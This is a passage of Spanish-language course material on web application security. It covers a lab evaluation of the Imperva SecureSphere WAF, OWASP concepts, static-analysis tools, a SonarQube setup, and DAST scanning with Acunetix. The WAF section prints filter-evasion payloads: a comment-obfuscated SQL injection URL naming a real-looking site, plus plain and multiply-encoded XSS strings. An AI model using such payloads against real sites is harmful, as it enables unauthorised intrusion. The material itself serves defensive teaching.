y otro como root o administrador del equipo. La plataforma es un Linux Red Hat
Enteprise 5 (RHEL) especialmente configurado por la gente de Imperva para prestar el
servicio de WAF. La seguridad del equipo es correcta a pesar de disponer de versiones
algo antiguas como OpenSSH 4.3 (Febrero de 2006) o el propio Kernel de Linux que
data de marzo de 2010. Los puertos del Listener de Oracle (1521 TCP) que tiene
instalado (versión 11G) y demás aparecen perfectamente filtrados y sólo está disponible
el servidor Web de administración en un puerto HTTPS (a escoger durante la
instalación) y el ya comentado de SSH. La aplicación Web de configuración no presenta
errores del tipo XSS o SQLi y permite establecer una política de usuarios y contraseñas
robusta. Tanto el servidor Web Tomcat como el propio SSHD están correctamente
configurados y tampoco presentan debilidades.
En nuestro laboratorio hemos configurado una única página Web con vulnerabilidades
de XSS y SQLi a proteger y hemos definido una política estándar que detecte y bloquee,
después de un aprendizaje automático del funcionamiento de la aplicación Web,
posibles ataques de XSS y SQLi principalmente, intentos de ataques de fuerza bruta
contra el formulario de autenticación, peticiones Web desde diferentes nodos de la red
Tor y pruebas con Double Enconding y similares.
Figura 85: Definición de la regla para bloquear peticiones desde la red Tor.
Fuente. – http://pentest-angelwhite.blogspot.pe
Utilizando mecanismos de evasión para los filtros y reglas de filtrado de los principales
dispositivos de seguridad existentes, IDS, IPS, Filtrado de contenido, etc. Se han
detectado y bloqueado todos los intentos de explotar una vulnerabilidad de XSS
presente en la página y que no está corregida ya sea codificando la petición en
hexadecimal, Base64, jugando con los TAGs HTML (no cerrando el TAG script,
poniendo espacios y meta caracteres inútiles antes del JavaScript del XSS, etc.).
Figura 87: Alerta de la detección de Ataques de XSS usando técnicas de evasión anti-IDS.
Fuente. - http://pentest-angelwhite.blogspot.pe
Pruebas de SQLi
http://hacktimes.com/news.php?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,2,--
Figura 88: Alerta de la detección de Ataques de SQLi usando técnicas de evasión anti-IDS
Fuente. - http://pentest-angelwhite.blogspot.pe
Aún sin utilizar nodos de la red Tor, ScureSphere ha sido capaz de detectar y bloquear
(por la política definida) peticiones desde direcciones IP de dudosa reputación tal y como
se observa en la siguiente captura de pantalla:
Aquí ha entrado en juego el módulo de ThreatRadar que trae la herramienta que, entre
otras cosas, comprueba la reputación de las direcciones IP desde las que se visita la
página Web. En los ejemplos adjuntos no se han bloqueado las alertas, pero si
detectado:
Figura 90: Alertas de la detección de peticiones HTTP desde IPs de dudosa reputación.
Fuente. - http://pentest-angelwhite.blogspot.pe
Los ataques contra los formularios de autenticación de nuestra página han sido
detectados y bloqueados según la política definida y comentada anteriormente, si se
producen 3 intentos fallidos de inicio de sesión en 30 segundos se bloquea la dirección
IP de origen de la petición temporalmente durante 15 minutos.
Una dirección en Double Encoding se puede utilizar para realizar ataques del tipo XSS
y evitar la detección por parte del WAF que sí es capaz de detectar el uso de caracteres
como “<, > y /”. En nuestro ejemplo, hemos revisado cómo realiza SecureSphere la
decodificación de la URL y cómo la trata con el filtro XSS. Un ejemplo sencillo y que ha
sido detectado por SecureSphere sería:
<script>alert('XSS')</script>
Los intentos de saltarse los filtros del WAF con Triple y Múltiple Encoding también han
sido detectados.
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
Se ha configurado una política por defecto tal y como se puede observar en la siguiente
captura de pantalla que, primero detecta el uso de Encoding, bloquea la petición y,
además, bloquea la dirección origen del atacante de forma temporal:
Por último, la herramienta proporciona un módulo para hacer reportes en formato PDF
o CSV bajo demanda o de forma automática que es totalmente configurable y
personalizable y que muestra toda la información relativa a las diferentes alertas
encontradas.
Cabe destacar que no se han llevado a cabo pruebas para analizar el rendimiento de la
plataforma ni para ver la capacidad de peticiones HTTP que es capaz de procesar por
segundo ni similares. Por las pruebas realizadas y el resultado obtenido podemos
afirmar que, en lo que a seguridad se refiere, SecureSphere es una herramienta muy
recomendable capaz de detectar y bloquear todo tipo de ataques en aplicaciones Web
de manera eficiente y altamente configurable.
Resumen
1. Open Web Application Security Project (OWASP) es una organización sin ánimo de
lucro a nivel mundial dedicada a mejorar la seguridad de las aplicaciones y del
software en general. Su misión es hacer que la seguridad dentro de las aplicaciones
sea más visible para que, así, las organizaciones y los particulares puedan tomar
decisiones sobre conceptos de seguridad basándose en información verídica y
contrastada.
2. Se dice que existe o se produjo una inyección SQL cuando, de alguna manera, se
inserta o “inyecta” código SQL invasor dentro del código SQL programado, a fin de
alterar el funcionamiento normal del programa y lograr así que se ejecute la porción
de código “invasor” incrustado, en la base de datos.
6. XXE es un fallo que se produce en aplicaciones que hacen uso de "parsers" XML.
Es decir, aplicaciones que reciben como entrada un documento XML y para
procesarlo hacen uso de alguna librería de parseo como LibXML, Xerces, MiniDOM,
etc. El atacante entonces puede enviar un documento XML especialmente
manipulado para conseguir que el parser XML divulgue información del sistema,
consuma recursos en exceso, ejecute comandos u otras formas de explotación.
7. Un ataque transversal de ruta permite a los atacantes acceder a directorios a los que
no deben acceder, como archivos de configuración o cualquier otro archivo /
directorio que pueda contener datos del servidor no destinados al público.
10. Los atacantes confían en la falta de monitoreo y respuesta oportuna a lograr sus
objetivos, lo ideal del hacker es no dejar rastro alguno y no ser detectados. Lo
recomendable es que se haga una prueba penetration testing (hacking ético) a los
sistemas críticos y evaluar si se tiene habilitado suficientes logs, eventos, monitoreo
en los sistemas evaluados para detectar una intrusión.
Pueden revisar los siguientes enlaces para ampliar los conceptos vistos en esta unidad:
o https://www.adictosaltrabajo.com/tutoriales/introduccion-a-owasp/#01
o https://www.dragonjar.org/owasp-top-ten-project-en-espanol.xhtml
o https://es.wikipedia.org/wiki/Open_Web_Application_Security_Project
o https://es.linkedin.com/pulse/owasp-top-10-2017-rc2-octubre-espa%C3%B1ol-
fernando-conislla-murguia
o https://blog.segu-info.com.ar/2017/10/publicado-owasp-top-10-2017-rc2.html
o https://www.scc.uned.es/jornadasmaster/pdf/Charla2.pdf
o http://www.davidromerotrejo.com/2015/07/hacking-etico-ii.html
o https://www.scc.uned.es/jornadasmaster/pdf/Charla2.pdf
o https://es.slideshare.net/TestingUy/meetup-testinguy-2017-testing-de-seguridad-
con-herramientas-de-owasp
o https://blog.segu-info.com.ar/2016/09/owtf-automatiza-trabajo-de-pentest-Web.html
o http://www.reydes.com/d/?q=Proyecto_OWASP_WebScarab
o https://www.owasp.org/index.php/Inyecci%C3%B3n_XPath
o http://computersecuritypgp.blogspot.pe/2016/01/what-is-ldap-injection-attack.html
o https://www.owasp.org/index.php/Inyecci%C3%B3n_SQL_Ciega
o http://computersecuritypgp.blogspot.pe/2016/01/blind-sql-injection-attack.html
o http://computersecuritypgp.blogspot.pe/2016/01/what-is-xpath-injection-attack.html
o http://computersecuritypgp.blogspot.pe/2016/01/what-is-shell-injection-or-
command.html
o http://computersecuritypgp.blogspot.pe/2016/01/what-is-session-fixation-attack.html
o http://computersecuritypgp.blogspot.pe/2016/01/what-is-session-hijacking.html
o https://www.owasp.org/index.php/Top_10_2007-
Almacenamiento_Criptogr%C3%A1fico_Inseguro
o https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
o https://ciberseguridad.blog/buenas-practicas-tls-ssl/
o https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
o http://blog.alguien.site/2014/03/jugando-con-xxe-xml-external-entity.html
o http://xue.medellin.unal.edu.co/seguridad/2015/03/ataques-de-negacion-de-
servicios-dos-y-ddos/
o https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
o https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
o https://www.geeksforgeeks.org/path-traversal-attack-prevention/
o https://www.owasp.org/index.php/Test_File_Permission_(OTG-CONFIG-009)
o https://darkchicles.com/2011/12/29/evitar-listado-de-directorios-archivo-en-apache-
y-iis/
o https://www.cert.org.mx/historico/documento/index.html-id=35
o https://thehackerway.com/2011/05/21/conceptos-basicos-sobre-vulnerabilidades-
xss-en-aplicaciones-Web/
o https://thehackerway.com/2011/05/23/explotando-vulnerabilidades-xss-en-
aplicaciones-Web/
o https://es.wikipedia.org/wiki/Cross-site_scripting
o https://diego.com.es/ataques-xss-cross-site-scripting-en-php
o http://calebbucker.blogspot.pe/2012/06/tutorial-xss-cross-site-scripting.html
o https://access.redhat.com/blogs/766093/posts/1976673
o https://github.com/OWASP/Top10/blob/master/2017/en/0xa8-insecure-
deserialization.md
o https://www.upv.es/contenidos/CD/info/711545normalc.html
o https://developers.viafirma.com/que-son-los-certificados-digitales
o https://www.ibm.com/support/knowledgecenter/es/SSFKSJ_7.0.1/com.ibm.mq.csqz
as.doc/sy10540_.htm
o https://www.um.es/atica/documentos/OWASP_Testing_Guide_v2_spanish.pdf
o https://infow.wordpress.com/2011/02/07/owasp-top-ten-a6-defectuosa-
configuracion-de-seguridad/
o https://admonitmedwin.wikispaces.com/A6+Configuracion+Defectuosa+de+Segurid
ad
o https://www.websecurity.symantec.com/es/es/security-topics/what-is-ssl-tls-https
o https://nicolasgranata.com/2015/05/26/recomendaciones-sobre-el-uso-de-
certificados-digitales-para-acceso-cliente-exchange-server-2013/
o https://www.rediris.es/tcs/doc/ccncert/CCN-CERT_BP-01-
17_Recomendaciones_implementacion_HTTPS.pdf
o https://medium.com/@cesarfarro/owasp-top-10-2017-8c75b685aa40
o http://www.gis-sac.com/Portal/index.php/productos/solarwinds/administracion-de-
redes/log-event-manager
o https://www.seguridadx.com/que-es-un-siem-que-es-prelude-siem/
o https://www.solarwinds.com/es/log-event-manager-software
o https://www.seguridadamerica.com/waf-Web-application-firewall/
o http://pentest-angelwhite.blogspot.pe/2014/09/analizando-el-waf-de-imperva.html
Trejo, D., & perfil, V. (2015). Hacking Ético II. Davidromerotrejo.com. Obtenido de
http://www.davidromerotrejo.com/2015/07/hacking-etico-ii.html
Mitra, A., Mitra, A., & profile, V. (2016). What is LDAP Injection Attack ?.
Computersecuritypgp.blogspot.pe. Obtenido de
http://computersecuritypgp.blogspot.pe/2016/01/what-is-ldap-injection-
attack.html
Mitra, A., Mitra, A., & profile, V. (2016). Blind SQL Injection Attack.
Computersecuritypgp.blogspot.pe. Obtenido de
http://computersecuritypgp.blogspot.pe/2016/01/blind-sql-injection-attack.html
Mitra, A., Mitra, A., & profile, V. (2016). What is a XPath Injection Attack ?.
Computersecuritypgp.blogspot.pe. Obtenido de
http://computersecuritypgp.blogspot.pe/2016/01/what-is-xpath-injection-
attack.html
Mitra, A., Mitra, A., & profile, V. (2016). What is a Shell Injection or Command Injection
Attack?. Computersecuritypgp.blogspot.pe. Obtenido de
http://computersecuritypgp.blogspot.pe/2016/01/what-is-shell-injection-or-
command.html
Mitra, A., Mitra, A., & profile, V. (2016). What is Session Fixation Attack ?.
Computersecuritypgp.blogspot.pe. Obtenido de
http://computersecuritypgp.blogspot.pe/2016/01/what-is-session-fixation-
attack.html
Mitra, A., Mitra, A., & profile, V. (2016). What is Session Hijacking ?.
Computersecuritypgp.blogspot.pe. Obtenido de
http://computersecuritypgp.blogspot.pe/2016/01/what-is-session-hijacking.html
Evitar listado de directorios, archivo en Apache y IIS. (2011). Darkchicles the blog.
Obtenido de https://darkchicles.com/2011/12/29/evitar-listado-de-directorios-
archivo-en-apache-y-iis/
Remote code execution via serialized data - Red Hat Customer Portal. (2018).
Access.redhat.com. Obtenido de
https://access.redhat.com/blogs/766093/posts/1976673
¿Qué son SSL, TLS y HTTPS? (2018). ¿Qué son SSL, TLS y HTTPS? Obtenido de
https://www.websecurity.symantec.com/es/es/security-topics/what-is-ssl-tls-
https
Seguridad Aplicaciones Web, Proyecto OWASP Top 10, 2017!!!. (2017). Medium.
Obtenido de https://medium.com/@cesarfarro/owasp-top-10-2017-
8c75b685aa40
UNIDAD
3
ANÁLISIS DE
VULNERABILIDADES WEB
LOGRO DE LA UNIDAD DE APRENDIZAJE
Al término de la unidad, el alumno el alumno realiza análisis de código fuente,
realiza test dinámico de aplicaciones y finalmente entrega como producto un
informe técnico y un informe ejecutivo sobre análisis de vulnerabilidades Web.
TEMARIO
ACTIVIDADES PROPUESTAS
La sofisticación de los análisis realizados por las herramientas varía de aquellos que
sólo tienen en cuenta el comportamiento de instrucciones y declaraciones individuales,
a los que se incluye el código fuente completo de un programa en su análisis. Los usos
de la información obtenida de un análisis varían desde indicar posibles errores de
codificación hasta demostrar matemáticamente con métodos formales ciertas
propiedades acerca de un programa dado (por ejemplo, que su comportamiento coincide
con el de su especificación) dependiendo de qué programa se utilice para el análisis.
Las métricas del software y la ingeniería inversa pueden ser descritas como forma de
análisis estático de software. El análisis estático y las métricas del software se han
comenzado a desarrollar a la par, sobre todo en sistemas embebidos donde se definen
lo que se llama objetivos del software de calidad.
Algunas herramientas están comenzando a moverse hacia el IDE. Para los tipos de
problemas que pueden detectarse durante la fase de desarrollo de software, esta es una
fase poderosa dentro del ciclo de vida de desarrollo para emplear tales herramientas,
ya que proporciona información inmediata al desarrollador sobre los problemas que
podrían estar introduciendo en el código durante el código desarrollo en sí mismo. Esta
retroalimentación inmediata es muy útil, especialmente cuando se compara con
encontrar vulnerabilidades mucho más tarde en el ciclo de desarrollo.
Fortalezas y debilidades
Fortalezas
Útil para las cosas que tales herramientas pueden encontrar automáticamente con
alta confianza, como desbordamientos de búfer, fallas de inyección de SQL, etc.
La salida es buena para los desarrolladores: resalta los archivos fuentes precisas,
los números de línea e incluso las subsecciones de las líneas que se ven afectadas.
Debilidades
https://wiki.openstack.org/wiki/Security/Projects/Bandit
http://brakemanscanner.org/
http://rubygems.org/gems/codesake-dawn
http://findbugs.sourceforge.net/
https://find-sec-bugs.github.io/
http://www.dwheeler.com/flawfinder/
https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/
PMD: PMD escanea el código fuente de Java y busca posibles problemas de código
(esta es una herramienta de calidad de código que no se enfoca en problemas de
seguridad).
http://pmd.sourceforge.net/
Progpilot: Progpilot es una herramienta de análisis estático para PHP que detecta
vulnerabilidades de seguridad como XSS y SQL Injection.
https://github.com/designsecurity/progpilot
http://msdn.microsoft.com/en-us/library/ms933794.aspx
Puma Scan: Puma Scan es un analizador de código fuente estático de código abierto
.NET C # que se ejecuta como un complemento IDE para Visual Studio y a través de
MSBuild en tuberías de CI.
https://pumascan.com/
.NET Security Guard: Analizadores Roslyn que tienen como objetivo ayudar a las
auditorías de seguridad en aplicaciones .NET. Encontrará inyecciones de SQL,
inyecciones de LDAP, XXE, debilidad de la criptografía, XSS y más.
https://dotnet-security-guard.github.io/
http://sourceforge.net/projects/rips-scanner/
https://github.com/FloeDesignTechnologies/phpcs-security-audit
http://www.sonarqube.org/
http://sourceforge.net/projects/visualcodegrepp/
http://www.xanitizer.net/
Herramientas comerciales
http://www-01.ibm.com/software/rational/products/appscan/source/
http://www.blueclosure.com/
https://buguroo.com/products/bugblast-next-gen-appsec-platform/bugscout-sca
http://www.castsoftware.com/solutions/application-
security/cwe#SupportedSecurityStandards
https://www.codacy.com/
Contrast from Contrast Security: Contrast realiza la seguridad del código sin hacer
realmente un análisis estático. Contraste hace pruebas interactivas de seguridad de
aplicaciones (IAST), correlaciona el código de tiempo de ejecución y análisis de
datos. Proporciona resultados de nivel de código sin depender realmente del análisis
estático.
http://www.contrastsecurity.com/
http://www.coverity.com/products/code-advisor/
CxSAST (Checkmarx)
https://www.checkmarx.com/technology/static-code-analysis-sca/
Fortify (HP)
http://www8.hp.com/us/en/software-solutions/static-code-analysis-sast/
http://www.juliasoft.com/solutions
KlocWork (KlocWork)
http://www.klocwork.com/capabilities/static-code-analysis
Kiuwan: SaaS Software Quality & Security Analysis (una compañía de Optimyth)
https://www.kiuwan.com/code-analysis/
http://www.parasoft.com/jsp/capabilities/static_analysis.jsp?itemId=547
http://www.viva64.com/en/
https://pumascanpro.com/
https://www.synopsys.com/software-
integrity/resources/datasheets/secureassist.html
https://www.whitehatsec.com/products/static-application-security-testing/
Seeker (Synopsys): Seeker realiza la seguridad del código sin realizar un análisis
estático. Seeker realiza pruebas interactivas de seguridad de aplicaciones (IAST),
correlaciona el código de tiempo de ejecución y el análisis de datos con ataques
simulados. Proporciona resultados de nivel de código sin depender realmente del
análisis estático.
https://www.synopsys.com/software-integrity/products/interactive-application-
security-testing.html
http://www.sourcepatrol.co.uk/
http://www.veracode.com/products/binary-static-analysis-sast
SonarQube es una plataforma para evaluar código fuente. Es software libre y usa
diversas herramientas de análisis estático de código fuente como Checkstyle, PMD o
FindBugs para obtener métricas que pueden ayudar a mejorar la calidad del código de
nuestros programas. Además, tiene soporte para más de 20 lenguajes de programación
entre los que se encuentran Java, C#, C / C++, PL / SQL, Cobol, ABAP, Python,
JavaScript, entre otros.
SonarQube cubre 7 ejes principales de la calidad del software y una vez analizado un
proyecto nos muestra información detallada sobre la arquitectura y el diseño,
comentarios de nuestro programa, código duplicado, reglas de programación acordes
con el lenguaje que estemos utilizando, bugs potenciales y su posible solución, datos
referentes a la complejidad del proyecto e incluso datos sobre pruebas unitarias (si
tenemos alguna), como número de pruebas unitarias pasadas correctamente o
porcentaje de cubrimiento de las mismas.
SonarQube está pensado para ofrecer un seguimiento a lo largo del desarrollo y/o
mantenimiento de un programa informático y apoyar a la mejora continua. Sin embargo,
también puede ser utilizado para realizar análisis aislados y obtener informes acerca de
nuestros proyectos.
Pasos previos
Lo primero que hay que hacer es crear un nuevo esquema y un usuario con permisos
para crear, actualizar y eliminar objetos de este esquema. El esquema como el usuario
se van a llamar SonarQube.
Una vez tengamos creado el esquema y el usuario podemos comenzar con la instalación
de SonarQube.
https://www.sonarqube.org/downloads/
#sonar.embeddedDatabase.port=9092
Descomentamos las siguientes líneas y asignamos los siguientes valores para indicar
al servidor Web de SonarQube qué base de datos vamos a utilizar, los datos del usuario
y contraseña de la base de datos y la información del servidor Web donde se ejecutará
una vez esté instalado. Por defecto se ejecuta sobre localhost con el puerto 9000.
# DATABASE
sonar.jdbc.username=sonarqube
sonar.jdbc.password=sonarqube
# WEB SERVER
sonar.Web.host=localhost
sonar.Web.port=9000
Esto significa que ya tenemos nuestro servidor de SonarQube listo para funcionar.
Antes de poder analizar el código de nuestros proyectos con Sonar-Runer (cliente oficial
de SonarQube) es necesario instalar en el servidor el plugin para el lenguaje que
queramos analizar.
Vamos a Settings > Update Center y veremos que por defecto ya viene instalado el
plugin para Java. Se pueden instalar plugins para diversos lenguajes o incluso
actualizarlos a una versión más reciente. Para ello solo tenemos que hacer clic en
Available Plugins y seleccionar el que queramos.
Una vez tengamos listo el servidor con los plugins necesarios es hora instalar un cliente
para poder analizar el código. Para este tutorial voy a utilizar Sonar-Runner que es el
cliente oficial de SonarQube.
#----- MySQL
sonar.jdbc.url=jdbc:mysql://localhost:3306/sonarqube?useUnicode=true&characterEncoding=utf8
Lo primero que hay que hacer antes de poder empezar a analizar nuestro código es
crear un fichero con algunas propiedades dentro del proyecto que queramos analizar.
Este fichero es necesario para informar a Sonar Runner acerca de algunas propiedades
que necesita. Para ello vamos a la raíz del proyecto, en mi caso
C:\Users\Enrique\workspace\proyectoFinalISW0.3, creamos un nuevo fichero llamado
sonar-project.properties y añadimos la información básica acerca de nuestro proyecto:
# Required metadata
sonar.projectKey=proyectoB7
sonar.projectName=proyectoFinalISW0.3
sonar.projectVersion=1.0
# Additional parameters
sonar.my.property=value
Una vez creado el fichero con las propiedades básicas de nuestro proyecto vamos hasta
la raíz del proyecto a través de la línea de comandos y ejecutamos el comando sonar-
runner. Tras unos segundos el proyecto entero habrá sido analizado y podremos
consultar toda la información referente al análisis en http://localhost:9000/, donde
podremos ver todos los proyectos que hayamos ido analizando a lo largo del tiempo y
seleccionar el que queramos consultar.
Hacemos clic sobre el proyecto que queramos consultar en el cuadro Projects (en mi
caso proyectoFinalISW0.3) y seremos redireccionados a la ventana con los resultados
del análisis:
En esta ventana SonarQube nos muestra datos, métricas y estadísticas acerca del
proyecto analizado.
Como se puede comprobar a simple vista, el desarrollo de esta aplicación deja mucho
que desear. Según los datos obtenidos casi un 10% del código está duplicado, no tiene
prácticamente ningún tipo de documentación y se han encontrado 535 problemas, de
los cuales 272 son de carácter grave y 87 críticos.
Además de errores y datos estadísticos sobre el código, SonarQube también nos ofrece
métricas y estadísticas referentes a la complejidad. Según el campo Technical Debt,
para arreglar todos los problemas de la aplicación tendríamos que dedicar 23,5 días de
esfuerzo. Evidentemente este dato es subjetivo, ya que va a depender de la habilidad y
experiencia del equipo de trabajo.
Otro dato interesante son los datos referentes a las métricas de la complejidad del
proyecto. Los datos mostrados se corresponden con la media de la complejidad
ciclomática por método, clase y fichero.
Haciendo clic en cada uno de los resultados obtenidos podemos ver más
detalladamente de donde han salido estos valores y que paquetes/clases son los
afectados y a partir de los cuales se obtienen dichos resultados.
Como ver todas las opciones de SonarQube me llevaría unos cuantos posts dedicados
al tema, voy a mostrar solo un par de ejemplos de los errores que se han encontrado.
Si hacemos clic sobre los problemas críticos nos llevará a la siguiente ventana:
Si hacemos clic sobre uno de los errores obtendremos información acerca de en qué
paquete, clase y línea de código se encuentra el error y un comentario acerca de cómo
resolver el problema (en ocasiones también se muestran ejemplos con el tipo de
refactoring a realizar). En la siguiente captura se muestra uno de los errores encontrados
y catalogado como crítico:
En este caso SonarQube nos está avisando de que la instrucción System.exit(0) debe
ser eliminada o que nos aseguremos de que realmente la necesitamos. El error ha sido
catalogado como crítico porque dicha instrucción aborta la ejecución del programa sin
previo aviso. Si poner esta instrucción ha sido un error del programador, esto haría que
el programa al llegar a un determinado punto de su ejecución se cierre sin previo aviso,
haciendo que el programa no se comporte como debiera.
En este caso SonarQube nos está avisando de que la sentencia if no contiene las llaves
de apertura y cierre. Este error lo ha catalogado como grave porque si el programador
no se da cuenta e introduce más de una línea de código dentro de la sentencia if, sólo
la primera línea estaría dentro del if quedando el resto fuera y haciendo que el programa
no se comporte como debería de hacerlo.
Como curiosidad, SonarQube también nos muestra en forma de nube de etiquetas las
clases de nuestro proyecto y el cumplimiento de reglas de calidad por las mismas.
Cuanto más grande es una etiqueta, mayor número de líneas de código tiene. Los
colores indican el porcentaje de reglas de calidad que cumple cada clase, siendo el azul
un buen indicador y el rojo un indicador de poco cumplimiento.
También podemos ver el riesgo de cada clase de nuestro proyecto. El riesgo de cada
clase depende de la complejidad de la misma y del porcentaje de cumplimiento de las
reglas de calidad propuestas por SonarQube. Cuanto más grande es una etiqueta,
mayor es la complejidad que tiene. El color azul indica que cumple un alto porcentaje de
las reglas de calidad y el rojo todo lo contrario.
Una prueba DAST también se conoce como prueba de recuadro negro porque se realiza
sin una vista del código fuente interno o de la arquitectura de la aplicación; básicamente
utiliza las mismas técnicas que un atacante usaría para encontrar puntos débiles
potenciales.
Una prueba DAST puede buscar una amplia gama de vulnerabilidades, incluidos
problemas de validación de entrada/salida que podrían dejar a una aplicación vulnerable
a scripts de sitios cruzados o inyección de SQL. Una prueba DAST también puede
ayudar a detectar errores de configuración e identificar otros problemas específicos con
las aplicaciones.
Si bien una prueba DAST es una parte esencial de las pruebas de seguridad de las
aplicaciones, no puede proporcionar una imagen completa de las vulnerabilidades en
una aplicación. Para la seguridad integral de las aplicaciones, las pruebas de caja negra
se deben combinar con las pruebas de caja blanca y otras herramientas avanzadas.
Commercial /
Acunetix WVS Acunetix Free (Limited Windows
Capability)
Commercial /
AVDS Beyond Security Free (Limited SaaS
Capability)
BlueClosure BC Commercial,
BlueClosure Most platforms supported
Detect 2 weeks trial
Commercial /
Burp Suite PortSwiger Free (Limited Most platforms supported
Capability)
Commercial /
Contrast Contrast Security Free (Limited SaaS or On-Premises
Capability)
Indusface Web
Indusface Commercial SaaS
Application Scanning
Commercial /
Nexpose Rapid7 Free (Limited Windows/Linux
Capability)
WhiteHat
Sentinel Commercial N/A
Security
Commercial /
Tinfoil Security,
Tinfoil Security Free (Limited SaaS or On-Premises
Inc.
Capability)
Trustwave
Trustkeeper Scanner Commercial SaaS
SpiderLabs
German Web
WebScanService Commercial N/A
Security
Commercial /
Websecurify Suite Websecurify Free (Limited Windows, Linux, Macintosh
Capability)
Acusensor: Es un plugin que obtiene más información del código; de como las
Websites se han creado y lo envía a WVS. Ayuda a detectar más vulnerabilidades
mientras genera menos falsos positivos. Además, indica exactamente donde en el
código esta la vulnerabilidad e informa como depurarlo.
Lanzamiento de escaneos
Nota:
¡No explore un sitio web sin la previa autorización!
Los registros del servidor Web mostrarán su dirección IP y todos los ataques realizados
por Acunetix. Si no es el único administrador del sitio Web o la aplicación Web,
asegúrese de advertir a otros administradores antes de realizar un escaneo. Algunos
escaneos pueden hacer que un sitio Web se bloquee, lo que requiere un reinicio del sitio
Web.
Después de configurar sus objetivos, está listo para iniciar Scans y comenzar a
identificar cualquier vulnerabilidad que exista en las aplicaciones Web. Hay varias
maneras de comenzar un escaneo, que incluyen:
1. En la lista de objetivos, seleccione los objetivos para escanear y haga clic en el botón
Escanear (Scan).
2. Desde la configuración del objetivo, haga clic en el botón Escanear ahora (Scan
now).
3. Desde la página Scans, haga clic en New Scan. Se le pedirá que seleccione los
Objetivos para escanear. Después de elegir el (los) objetivo (s) para escanear,
configure las opciones de escaneo que se utilizarán para el escaneo.
Scan Type: elija entre Escaneo completo o un perfil de escaneo que escaneará
vulnerabilidades específicas, como Vulnerabilidades de alto riesgo solamente.
Los tipos de escaneo se describen a continuación.
Tipos de escaneo
Los Scan Types son una agrupación lógica de comprobaciones que Acunetix realiza
para buscar una categoría específica de vulnerabilidades (como Cross-Site Scripting,
SQL Injection, etc.). A continuación, se muestra una lista de tipos de escaneo
disponibles en Acunetix con una breve descripción de cada uno:
Escaneo completo: Use el perfil de Escaneo completo para iniciar un escaneo
usando todas las comprobaciones disponibles en Acunetix.
Escaneo continúo
Las nuevas vulnerabilidades pueden ser introducidas por los desarrolladores Web que
realizan actualizaciones en el sitio o por los administradores que realizan cambios en la
configuración del servidor Web. Además, Acunetix a menudo se actualiza para detectar
nuevas vulnerabilidades.
El escaneo continuo realiza un escaneo completo una vez a la semana. Este escaneo
se complementa con un escaneo rápido diario, que solo explora las vulnerabilidades
críticas. Los análisis continuos actualizan las vulnerabilidades del objetivo y se puede
acceder a ellas desde la página Vulnerabilidades. Se le notificará por correo electrónico
y en el área de notificación cuando se identifiquen nuevas vulnerabilidades.
Los informes también se pueden generar directamente desde la página Objetivos, la página
Vulnerabilidades o la página Análisis.
Después de elegir qué informar, deberá elegir una plantilla de informe. El formato del
informe, el detalle incluido y la agrupación utilizada en el informe están determinados por la
plantilla del informe. Las plantillas de informes se describen en la siguiente sección.
Después de elegir generar el informe, será llevado a los Informes Guardados. El informe
puede tardar unos segundos en generar. El informe PDF o HTML se puede descargar
haciendo clic en el enlace Download, que estará disponible cuando Acunetix haya terminado
de generar el informe.
Parámetros de prueba
La Introducción debe delinear los parámetros de las pruebas de seguridad, los hallazgos
y la corrección. Algunos encabezados de sección sugeridos incluyen:
Objetivo del proyecto: Esta sección describe los objetivos del proyecto y el
resultado esperado de la evaluación.
Programa del proyecto: Esta sección describe cuándo comenzaron las pruebas y
cuándo se completaron.
La última sección del informe incluye información técnica detallada sobre las
vulnerabilidades encontradas y las acciones necesarias para resolverlas. Esta sección
está dirigida a un nivel técnico y debe incluir toda la información necesaria para que los
equipos técnicos comprendan el problema y lo resuelvan. Cada hallazgo debe ser claro
y conciso y brindar al lector del informe una comprensión completa del tema en cuestión.
El elemento afectado.
La siguiente es una lista de controles que pueden ser utilizadas para una evaluación:
Prueba de red /
OTG-CONFIG-001 configuración de
infraestructura
